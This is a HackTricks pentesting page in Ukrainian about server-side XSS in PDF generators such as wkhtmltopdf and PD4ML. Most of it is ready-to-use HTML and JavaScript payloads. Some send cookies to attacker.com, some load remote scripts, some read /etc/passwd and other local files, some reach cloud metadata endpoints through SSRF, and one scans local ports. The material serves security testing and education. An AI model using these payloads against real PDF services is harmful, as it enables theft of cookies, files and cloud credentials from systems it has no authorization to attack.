Server Side XSS (Dynamic PDF)

Вивчайте хакінг AWS від нуля до героя з htARTE (Експерт з Червоного Тіму AWS від HackTricks)!

Інші способи підтримки HackTricks:

Серверний XSS (Динамічний PDF)

Якщо веб-сторінка створює PDF, використовуючи введення, котре контролює користувач, ви можете спробувати обманути бота, який створює PDF, щоб виконати довільний JS код. Отже, якщо бот для створення PDF знаходить якісь HTML теги, він буде їх інтерпретувати, і ви можете зловживати цим поведінкою, щоб викликати Серверний XSS.

Зверніть увагу, що теги <script></script> не завжди працюють, тому вам знадобиться інший метод для виконання JS (наприклад, зловживання <img ). Також зверніть увагу, що під час звичайної експлуатації ви зможете побачити/завантажити створений PDF, тому ви зможете побачити все, що ви записуєте через JS (наприклад, використовуючи document.write()). Але, якщо ви не можете побачити створений PDF, вам, ймовірно, знадобиться витягнути інформацію, роблячи запити на ваш браузер (Сліпий).

Популярне створення PDF

  • wkhtmltopdf відомий своєю здатністю перетворювати HTML та CSS в документи PDF, використовуючи рушій рендерингу WebKit. Цей інструмент доступний як утиліта командного рядка з відкритим вихідним кодом, що робить його доступним для широкого спектру застосувань.

  • TCPDF пропонує надійне рішення в екосистемі PHP для створення PDF. Він здатний обробляти зображення, графіку та шифрування, демонструючи свою універсальність для створення складних документів.

  • Для тих, хто працює в середовищі Node.js, PDFKit представляє собою прийнятний варіант. Він дозволяє створювати документи PDF безпосередньо з HTML та CSS, забезпечуючи місто між веб-контентом та друкованими форматами.

  • Розробники Java можуть віддати перевагу iText, бібліотеці, яка не тільки сприяє створенню PDF, але й підтримує передові функції, такі як цифрові підписи та заповнення форм. Її широкий функціонал робить її відповідною для створення безпечних та інтерактивних документів.

  • FPDF є ще однією бібліотекою PHP, відомою своєю простотою та легкістю використання. Вона призначена для розробників, які шукають простий підхід до створення PDF без необхідності великого набору функцій.

Пейлоади

Відкриття

<!-- Basic discovery, Write somthing-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>

<!--Basic blind discovery, load a resource-->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">

SVG

Будь-який з попередніх або наступних вразливостей може бути використаний всередині цього SVG вразливості. Один iframe, який отримує доступ до піддомену Burpcollab, та інший, який отримує доступ до кінцевої точки метаданих, наведені як приклади.

<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
</body>
</foreignObject>
</g>
</svg>


<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
alert(1);
// ]]>
</script>
</svg>

Ви можете знайти багато інших SVG вразливостей на https://github.com/allanlw/svg-cheatsheet

Розкриття шляху

<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>

Завантажте зовнішній скрипт

Найкращий спосіб використання цієї вразливості - зловживати вразливістю, щоб змусити бота завантажити скрипт, яким ви керуєте локально. Потім ви зможете локально змінити навантаження і змусити бота завантажити його з тим самим кодом кожного разу.

<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>

Читання локального файлу / SSRF

Змініть file:///etc/passwd на http://169.254.169.254/latest/user-data, наприклад, щоб спробувати отримати доступ до зовнішньої веб-сторінки (SSRF).

Якщо SSRF дозволено, але ви не можете досягти цікавого домену або IP-адресу, перевірте цю сторінку на можливі обхідні шляхи.

<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
</script>
<script>
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
</script>
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>
<embed src="file:///etc/passwd>" width="400" height="400">
<style><iframe src="file:///etc/passwd">
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />

Затримка бота

<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
let time = 500;
setInterval(()=>{
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms`;
time += 500;
}, 500);
</script>
<img src="https://attacker.com/delay">

Сканування портів

<!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
}

for(let i=0; i<1000; i++) {
checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">

Ця уразливість може бути дуже легко перетворена на SSRF (оскільки ви можете зробити скрипт завантажувати зовнішні ресурси). Тому просто спробуйте використати її (прочитати деяку метадані?).

Вкладення: PD4ML

Існують деякі двигуни HTML 2 PDF, які дозволяють вказувати вкладення для PDF, наприклад PD4ML. Ви можете зловживати цією функцією, щоб долучити будь-який локальний файл до PDF. Для відкриття вкладення я відкрив файл у Firefox і подвійно клацнув на символі "Заколка", щоб зберегти вкладення як новий файл. Захоплення відповіді у форматі PDF за допомогою Burp також повинно показати вкладення у чистому тексті всередині PDF.

<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
<html><pd4ml:attachment src="/etc/passwd" description="attachment sample" icon="Paperclip"/></html>

Посилання

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated